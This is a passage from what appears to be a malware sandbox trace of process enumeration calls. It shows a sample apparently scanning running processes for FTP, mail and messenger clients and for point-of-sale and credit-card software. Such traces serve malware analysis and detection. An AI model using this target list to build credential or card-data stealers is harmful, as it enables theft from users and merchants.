th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0223.370] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0223.372] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0223.374] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0223.375] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0223.377] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0223.378] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0223.380] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0223.382] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0223.383] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0223.385] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0223.386] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0223.388] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0223.389] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0223.391] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0223.392] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0223.393] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0223.395] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0223.396] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0223.398] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0223.399] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0223.400] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0223.402] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0223.403] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0223.405] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0223.407] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0223.408] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0223.458] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0223.461] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0223.463] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0223.465] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0223.467] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0223.469] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0223.470] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0223.472] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0223.474] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0223.476] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0223.477] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0223.479] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0223.481] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0223.483] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0223.485] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0223.486] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0223.488] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0223.490] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0223.492] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0223.493] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0223.495] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0223.497] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0223.498] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0223.500] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0223.501] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0223.551] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0223.554] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0223.555] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0223.557] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0223.559] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0223.560] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0223.562] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0223.563] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0223.565] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0223.567] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0223.568] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0223.570] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0223.571] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0223.573] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0223.575] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.577] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.579] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0223.581] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0223.584] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0223.586] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0223.588] CloseHandle (hObject=0x15f0) returned 1 [0223.588] Sleep (dwMilliseconds=0x64) [0223.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0223.647] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.649] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.651] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.653] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.655] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.657] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.659] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.661] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.663] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.665] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.668] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.670] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.672] Process32Next (in: 